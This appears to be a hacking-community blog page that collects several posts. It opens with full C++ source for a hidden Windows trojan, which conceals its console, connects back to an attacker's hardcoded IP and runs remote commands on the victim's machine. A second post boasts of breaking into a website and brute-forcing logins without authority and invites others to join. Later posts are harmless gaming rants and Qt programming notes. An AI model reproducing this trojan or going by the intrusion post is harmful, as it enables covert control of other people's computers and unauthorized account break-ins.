Blogs

hi

#undef  _WIN32_WINNT //For hiding/showing window
#define _WIN32_WINNT 0x0500
#include <windows.h> //Required for socket init
#include <iostream>
#include <stdlib.h>
#include <windows.h>
#include <iomanip>
#include <stdio.h>
#include <conio.h>
#include <fstream>

using namespace std;

//function declaration prototypes
void crazyMouse(BOOL cmProc);
void Matrix(BOOL pwnProc);
char procCmd(char buff[200], SOCKET * fSocket);
void PoP(char message[200]);

// static variables (Dont know why i did this)
static BOOL pwnProc = false;
static BOOL pop = false;

//pointer to socket
SOCKET * pSock;
//for matrix
HWND hWnd = GetConsoleWindow();





int main(){
   
    // First thing we want to do is make sure that our console is in-fucking-visible
ShowWindow( hWnd, SW_HIDE );

//Begin winsock chunk
char buf[256];
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0); //We want Winsock 2.0
int nret=WSAStartup(wsver, &wsdata); //Pass version 2.0 and pointer to implement
if(nret != 0){ //Init failed
/*A successful return value should be 0 */
std::cout<<"Startup failed, error code: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup Winsock library
return -1;
}
std::cout<<"Init success\n";
SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
}
std::cout<<"Socket initialized\n";
sockaddr_in sin;

//****PORT HERE****
sin.sin_port=htons(1337); //Connect to port 1337
//****PORT HERE****


//
////////////***************IP HERE////////////***************
sin.sin_addr.s_addr=inet_addr("172.16.3.161"); //Connect to this ip (Should be your ip, so the victim connects to you )
////////////***************IP HERE////////////***************
//

sin.sin_family=AF_INET;
if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){ //Check the condition
std::cout<<"Connect failed, error: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup the library
return -1;
}
std::cout<<"Connection successful!\n";






//***************************************************
//    ^^^^^^^^^^^^ The program will always come back here to re-receive and re-compare commands.
pSock = &kSock;
// |
// v
//Back down
REC:
while (recv(kSock, buf, sizeof(buf), 0)){  //while the command is received
procCmd(buf,pSock); //push the received command into the procCmd function to be compared with a command list

}
//Back up
goto REC;
//^
//|
return 0;
}
//***************************************************






/////////////// BEGIN COMMAND LIST /////////////////

//the procCmd fucntion means ProcessCommand and is responsible for handling commands.
// If you are going to add new commands to this program you should start here.

char procCmd(char buff[200], SOCKET* fSocket){

     // needs to be reinit'd cuz of cross function
     SOCKET kSock = *fSocket;
     

/* This is where the magic happens, the received commands are compared to a hard coded list of commands. If it recognizes a command, it is sent to the appropriate function (or just executed if the code is small). I initially added in character return values so i could resend them back to the server (me) to verify if a command was executed or not. I  never got around to it , maybe you can?*/




     if (pop == true){   /*Pop is a special command because it displays a message box on the users screen. So the command pop would first need to written, which would make pop==true. Once it's true, it will be expecteing another sub-command for the actual contents of the messagebox, this is why the server-side code needed to deal with the pop command, so that it could prompt the user to input a sub command, i dont know why i did it this way.*/
     
                          PoP(buff);
                          pop = false;
                          return '1';
                          }
     if (strcmp(buff,"pop")==0){
                          pop = true;
                         
                          return '1';
                         
                          }
      if (strcmp(buff,"end")==0){
                          closesocket(kSock);
                          exit(0);
                          }
      if (strcmp(buff,"-")==0){
                          ShowWindow( hWnd, SW_HIDE );
                          return '1';
                          }
     if (strcmp(buff,"+")==0){
                          ShowWindow( hWnd, SW_SHOW );
                          return '1';
                          }
                         
     if (strcmp(buff,"pwn")==0){
                          Matrix(true);
                          return '1';
                          }
                         
      if (strcmp(buff,"unpwn")==0){
                          Matrix(false);
                          //clean up
                          ShowWindow( hWnd, SW_HIDE );
                          return '1';
                          }
      if (strcmp(buff,"crazymouse")==0){
                          crazyMouse(true);
                          return '1';
                          }
                         
      if (strcmp(buff,"uncrazy")==0){ //not working
                          crazyMouse(false);
                          return '1';
                          }
                           
                        return '0';
     }



/////////////// BEGIN EXECUTABLE FUNCTIONS ////////////////////////////


// Pop up message - Grim
void PoP(char message[200]){
     MessageBox(NULL,message,NULL,NULL);
     
}



/* this thing is really cute, it puts the dialog box into full screen and displays a bunch of green random texts like the matrix. If you want to stop it manually just press alt+enter to get out of fullscreen then close it.*/

// Matrix , total annhilation - Grim
void Matrix(BOOL pwnProc){
     
if (pwnProc==true) {
       // make sure its visible
ShowWindow( hWnd, SW_SHOW );      
keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
START:
     for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout << setw(4) << num;
cout << setw(4) << "0%";
cout << setw(4) << "P";
cout << setw(4) << " ";
cout << setw(4) << ")";
cout << setw(4) << "#";
cout << setw(4) << "X";
cout << setw(4) << "@";
cout << setw(4) << "1&";
cout << setw(4) << "*";
cout << setw(4) << "||";
cout << setw(4) << " \a";
Sleep(60);
}

for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
}
goto START;
}
     
     }
     
     
     
     
     
     
     
     //Crazy mouse - Grim
void crazyMouse(BOOL cmProc){
     if(cmProc==true){
                         
              do{
                 Sleep(900);
                  int x = rand()%1000;
                  int y = rand()%700;
                  SetCursorPos(x, y);
                 
                  }
                 
                          while (cmProc==true);
                         
                         }
     
     
     }

my first trial on http://www.cellufun.com

i had a serious surgery. during recovery i found a small java based wap site called http://cellufun.com upon playin i found it to be full of childmolesters hiding behind pixel avitars though i dont have the authority heheheh i have found myself cleaning up the corrupted site . removing and exposing the pedofiles is fun but now old tactics do not work . i have a list of t argets but i am stuck i cant seem to penetrate the server or brute force logins anymore. yes this is small potatoes to some but it is quite entertaining watching the chatroom cry Smile feel free to join in the fun it is great practice for beginning level starters.

Flair's blog site

Any new hints for newbies in the site maybe posted here if by any chance I get them. So if you are a script kid or a newbie and have a problem, you can post them here.

1/3/2013

HAPPY NEW YEARS MY BROTHERN..SIK1EST3

Amp Blasts: Nintendo

Notice: The following is a humor piece (partially based on my real opinions, but tuned up to AVGN levels of what the hell) and as always, the SX usage policy applies.

I know that the title of this alone is going to cause some rage with some people and I can see how. I myself have great memories of the NES and SNES. Both of these are great consoles. However, the reality is that the Nintendo that I knew and loved is dead. Today, I will explain why I feel this way.

The first major misstep happened in the fifth generation of game consoles with the N64. The reality is that partnering with SGI was a bad idea as they never did real-time graphics and the console's hardware limitations along with the complexity of developing games made it problematic. Add to it that a large portion of the games were pure and utter shit (Superman 64 being the most well known, but there are plenty of other games that outright sucked) and many of them featured some of the worst soundtracks I have ever heard in gaming history. The biggest beef I have is that people try to hail Goldeneye as ground breaking when the reality is that it was a slow, choppy, piece of shit with crap controls that was saved only by it's auto-aiming. (Also, people like iJustine's stupid ass in a shitty mentalfloss video, need to stop saying that it was the first game with multiplayer deathmatch as Doom had it years earlier!) The amount of good games for the N64 were few and far in between, something that would be true for all non-handheld consoles for them from that point forward.

Amp Blasts: eSports!

Disclaimer: The following is written for humor and falls under the SX usage policy.

Ok, I retired 'Amp Blasts' back in May as at that point I couldn't really think of much of blast. Since then though, quite a bit of shit has went down. In addition, personal life events happened which inspired a special level of bile and fury that I haven't had in a long time. The end result is that I have decided to revive the blasts and go after eSports, one of the biggest loads of bullshit I have seen and I'd like to start with a comparison.

First off let's take a look at the majority of people who are developers at work. We see them working on design, or programming outright without showing very much emotion aside from when they communicate inter-personally. (Yes, I'm going to destroy the anti-social stereotype cause most developer jobs are on a team, thus necessitating social communication.) They are working productively on projects that will help the bottom line of their employer and at the same time hopefully furthering their own skill-set. Some of these jobs may be thankless for a variety of real world factors that can cause somebody to be unhappy with such a job, but that is normal. At the very least, they have a good living and are trying to be a productive member of society.

Now, I'm going to take a look at many eSports "professionals." They spend most of their time playing a videogame for hours on end, communicating only with people on their team and often in crass, unprofessional ways. Their social skills with most outsiders often reaches jack and shit. They are spending their time not being legitimately productive on anything, but just playing a game in the hope of somehow making money from playing a games that probably stopped being enjoyable due to the overkill of playing it. To me, this is fucking pitiful and the fact that people honestly think that eSports will pay the bills in the long run shows me they have no common sense whatsoever.

Threading in C++

In my threading tutorial at https://www.soldierx.com/Threading I covered how threading was handled by different languages. In particular, I stated that I was not particularly a fan of the threading implementation used by Java due to the fact that it forced the user to either use polymorphism (courtesy of the runnable interface) or to made a subclass of the Thread class. The biggest reason for this dislike is that this is more work than is necessary. Well, in some respects Qt works similarly on threading which bothers me a bit.

There are two ways to handle threading in Qt, and honestly it feels like a brilliant solution to a problem that shouldn't exist in the first place. The first one is similar to Java as it requires the QThread class to be inherited. The second one is to use a "worker" class with a series of signals and slots to handle the threading. Based on my experiences with other languages, both feel like a considerable amount of work that results in code that doesn't look as elegant as it could be so I feel the C++11 threading included within the STL to be the better solution at this point in time.

Overall, this shows that there are instances where using the basic STL can often yield a better solution than other libraries. I know that Qt has its own list class, but the STL rendition of lists is one that to me, did not necessitate a reinventing of the wheel. At the same time, there are some specialty list classes used in Qt such as QStringList, that have some capabilities that are more beneficial for the GUIs. With all of this taken into consideration, it is always important to investigate the best combination of clean code and efficiency.

Handling Multiple Forms in Qt Creator

Before I go on with this post, allow me to say Happy Holidays to everybody around SX. Make sure to spend time with significant others if at all possible.

Now that I have that out of the way, I spoke about my initial impressions of Qt Creator as I have done some side practice with it along with working on the GUI and some aspects of the OFACE backend. (One of the major parts will most likely be worked on this Friday and if there is enough demand, I may do a timelapse video of my codework.) For those who may have read my basic programming concepts tutorials, I talked about basic memory allocation in C++ and how this is good to know for C++ and in many cases other languages regardless of if they use a garbage collector. Well, in Qt Creator I have been working with how to handle multiple forms. Now, in the case of something like C# within the .NET framework, this is a pretty cut and dry task. However, this is a different ballgame when it comes to Qt Creator.

Adding the form in question only requires a Qt Designer Form Class to be added to the project, but doing this doesn't just mean that it can be called and all is good. When this is done, the ui, header, and cpp files are created for the class and if the class is dynamically allocated without deleting the memory after the object is no longer in use, the end result will be a textbook entry level memory leak. At the same time, calling a new form up from a method that is used for a signal event does not allow for such deletion to happen immediately as it would immediately close the form. Fortunately, there is a good way to handle this.

Syndicate content